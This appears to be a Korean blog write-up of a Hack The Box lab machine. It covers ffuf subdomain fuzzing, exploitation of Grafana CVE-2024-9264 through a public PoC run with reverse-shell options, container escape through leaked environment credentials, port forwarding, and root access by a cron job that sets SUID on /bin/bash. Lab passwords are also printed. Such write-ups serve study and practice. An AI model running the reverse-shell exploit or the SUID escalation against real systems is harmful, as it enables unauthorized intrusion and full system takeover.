
1. 기본 개념
1) 퍼징(=fuzzing)
: 서브도메인, 디렉토리, 파라미터 같은 숨겨진 리소스를 스캔하는 과정
툴: FFUF
-> gobuster보다 서브도메인은 더 잘 찾는다 함..!
옵션)
-w: 워드리스트 지정
-u: 타겟 url 지정
-H: Host 헤더 지정. ffuf가 워드리스트 각 항목을 host헤더에 추가할 거임
-c: 출력 결과 색상 지정~
-fs 178: 동일한 크기의 응답 필터링하기 -> 노이즈 줄이기.
예시)
> fs없으면
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host:
FUZZ.planning.htb' -u http://planning.htb -c

답변 이렇게 너~~무 길다. 이런걸 false positives라 부른다 함..
> fs 있으면
-fs 178하면, 응답 크기가 178인 결과는 전부 무시함. -> 178인 건 존재하지 않는 서브 도메인 결과이므로, -fs 178을 통해 가짜 응답을 제거하는 거임.
2) CVE-2024-9264
: grafana가 검증하지 않고 sql 쿼리를 그대로 duckDB CLI에 전달하는 취약점.
-> viewer 이상의 권한을 가진 사용자는 이걸로 RCE(=원격 코드 실행)과 LFI를 수행할 수 있음
(이 기본은 비활성이 디폴)
-> 단, duckDB가 시스템 PATH에 올바르게 설정되어야 함. -> 익스플로잇 시도로 확인해보자,,!
익스플로잇을 위한 POC 코드)
https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit
GitHub - z3k0sec/CVE-2024-9264-RCE-Exploit: Grafana RCE exploit (CVE-2024-9264)
Grafana RCE exploit (CVE-2024-9264). Contribute to z3k0sec/CVE-2024-9264-RCE-Exploit development by creating an account on GitHub.
github.com
-> poc 활용 코드
python3 poc.py --url http://grafana.planning.htb --username admin --password
0D5oT70Fq13EvB5r --reverse-ip {YOURIPADDRESS} --reverse-port 9001
3) netstat
: 현재 네트워크 상태 보여주는 툴
옵션)
-t: tcp
-u: udp
-l: 리스닝 중인 소캣만
-n: 주소/포트를 서비스명 변환없이 숫자로만 표시
-p: 각 소캣에 바인딩 된 프로세스의 pid와 이름 표시
*ss랑 비슷한 거 같아서 검색해보니 기능은 비슷한데 ss가 더 효율적이라는 듯,, netstat보단 ss 사용이 추세라 함.
4) SUID
: 실행할 때 파일 소유자 권한으로 실행되도록 하는 옵션.
SUID를 걸면, 누가 하든 root 권한으로 실행됨.
2. 문제 풀이
nmap.



일단 이 외의 다른 페이지가 안 보임. 우선 디렉터리 찾기 먼저.
gobuster로 해주자.


근데,,, 별 게 없다.
vhost로 서브 도메인 찾아봐도 안 되는데,, 이건 아마 워드리스트에 없어서 그런 것 같다.

ffuf로 해 봄. 근데 큰 화면으로 보면 글자 뛰어쓰기 안 되어서 가독성 별로긴 함 ,,
대신 화면 크기를 반화면으로 하면 깔끔하게 보이긴 하다...ㅎ
아니면 |grep 상태코드 이런거 붙여도 ㄱㅊ을 듯,

내리다보면 한 줄 다르게 보임. grafana라 보임.

얘도 추가해주고,,

그러자 자동으로 로그인 페이지로 연결.

요 계정 정보는 뭔가 했는데, 그냥 htb 머신 info에 적혀있음. ㅋㅋ


이제 로그인도 했으니, 본격적으로 취약점을 찾을 차례이다.
CVE를 찾으려면, 버전을 먼저 찾기!

구글링 해보면, 바로 하나 뜬다.

저기 나오는 poc 코드 그대로 복붙해서 넣어줌. 그리고 아래 코드로 인자 값도 변경해준다.
다만 그 전에 리스닝 할 포트는 미리 켜 줌.

그리고 실행하면? 자동 냇캣 연결 성공!


id는 일단 root임. 그러나, host를 치면 서버 이름이 뜨는데 이게 번호로 뜨면 컨테이너라 함. 이게 왜 문제냐?
지금은 호스트 시스템 자체는 아니라는 뜻이므로임. 즉 진짜 root가 아니다,,

그래서 root 폴더에서 찾아보면 flag가 안 보인다..!

유저 플래그도 안 보이는 듯,,
우선 호스트 시스템으로의 탈출을 위해서, env 명령어로 환경 변수들 확인 먼저 함.
>> 이 발상을 보통 뭘 보고 하지..??

위 결과를 보면, 하드코딩 되어 enzo라는 유저의 정보가 보임.

이제 이 정보를, 처음 포트 스캐닝 할 때 뜬 ssh에 바로 활용해주면 된다.
이제 진짜 셸을 딸 수 있음!

일단! 유저 플래그는 획득.

이제 더 이상 얻을 정보가 안 보이니, 다시 포트 상태를 확인해볼거다.
이번에는 내부에 진입했으니 내부에만 보이게 설정된 포트가 있을 수도 있다.

-> 53, 54 = dns
3306, 3360 = mysql
80 = http
ssh = 20
3000 => 아마 granfa.
그럼 이제 정체불명의 8000번 포트가 남음. 여기를 어떻게 접속하냐?
curl 요청을 보내는 간단한 방법도 있지만, 조작을 다양하게 하게 어렵다 함.
고로 로컬 포트 포워딩 방식을 사용하려 함.
아래 명령어를 치면 연결이 생생된거임. 즉, 내 127.0.01에서 9000포트로 브라우저에 검색해보면, 우리가 원라는 저 8000포트에 대해 연결이 될 것임. 내 pc -> 목적지 port로 연결이 된 것!


이제 이 비번도 해보는데,,, 일단 여태 나온 비번 다 아니란다,, 새로 찾아야 함.
라이트업을 보니 opt > crontabs > crontab.db로 가야한다 함.
>> 얜 또 뭘 보고 저걸 찾는다는 발상을 하냐??
일단 저 파일의 정체는 크론 작업에 대한 설정 파일이라 함. 이게 웹 어플리케이션과 관련있는 db파일이라 함.
크론(=cron): 리눅스에서 자동으로 실행되는 작업
크론 작업: 자동 실행 작업을 뜻함.


{} 로 묶인 애들이 하나의 자동 실행 작업 1개라 이해하면 됨.
보면 비밀번호를 걸어서 압축을 하고 있음.
비번: P4ssw0rdS0pRi0T3c
또한 이 파일에서 중요하게 봐야할 건 /root/script/cleanuo.sh 부분임.
일반 유저는 보통 root 디렉토리로 접근 자체를 못하므로, 이 cron은 root 권한으로 실행될 수 있다! 는 뜻이 됨.
-> 즉 id:root, passwd: P4ssw0rdS0pRi0T3c 로 시도 ㄱㄱ

성공!
이제 저 new tab을 클릭하자.
cron 작업을 등록하면 될 듯 ㅇㅇ
우리가 원하는 건? root 플래그를 따야 함.
근데, 이전에 시도할 때는 컨테이너 내부이거나 enzo 유저였어서 못 했다,, 이제 진짜 root 셸을 따는 작업이 필요한 것.
-> /bin/bash 를 SUID로 설정 하기. 즉, 모든 사용자 enzo를 포함해서 저 배시셸 파일을 실행할 수 있게 하자.

save하고, 바로 run now 눌러봄.

이렇게 하면 권한에서 s가 뜨는 게 중요하다 함.. x말고,,
처음에 p옵션 안 주고 하니까 뭔가 오류가 엄청 나긴했는데 껐다 다시 시도하니 된다.
-p옵션: 권한 일반 유저로 강등되지 않고 유지
(보통 SUID로 실행하면 권한을 버림. 즉 root -> 일반 유저로 권한 내려간다,, )

루트 플래그도 끝!




'Hack The Box > Lab' 카테고리의 다른 글
| Oopsie - 경로 하이재킹 (0) | 2026.05.08 |
|---|---|
| Included - LFI 2 & tftp & lxd (1) | 2026.05.07 |
| Base - swp & reverse shell 2 (0) | 2026.05.04 |
| Tactics - smb & impacket (0) | 2026.05.02 |
| Pennyworth - CVE & Jenkins (0) | 2026.05.02 |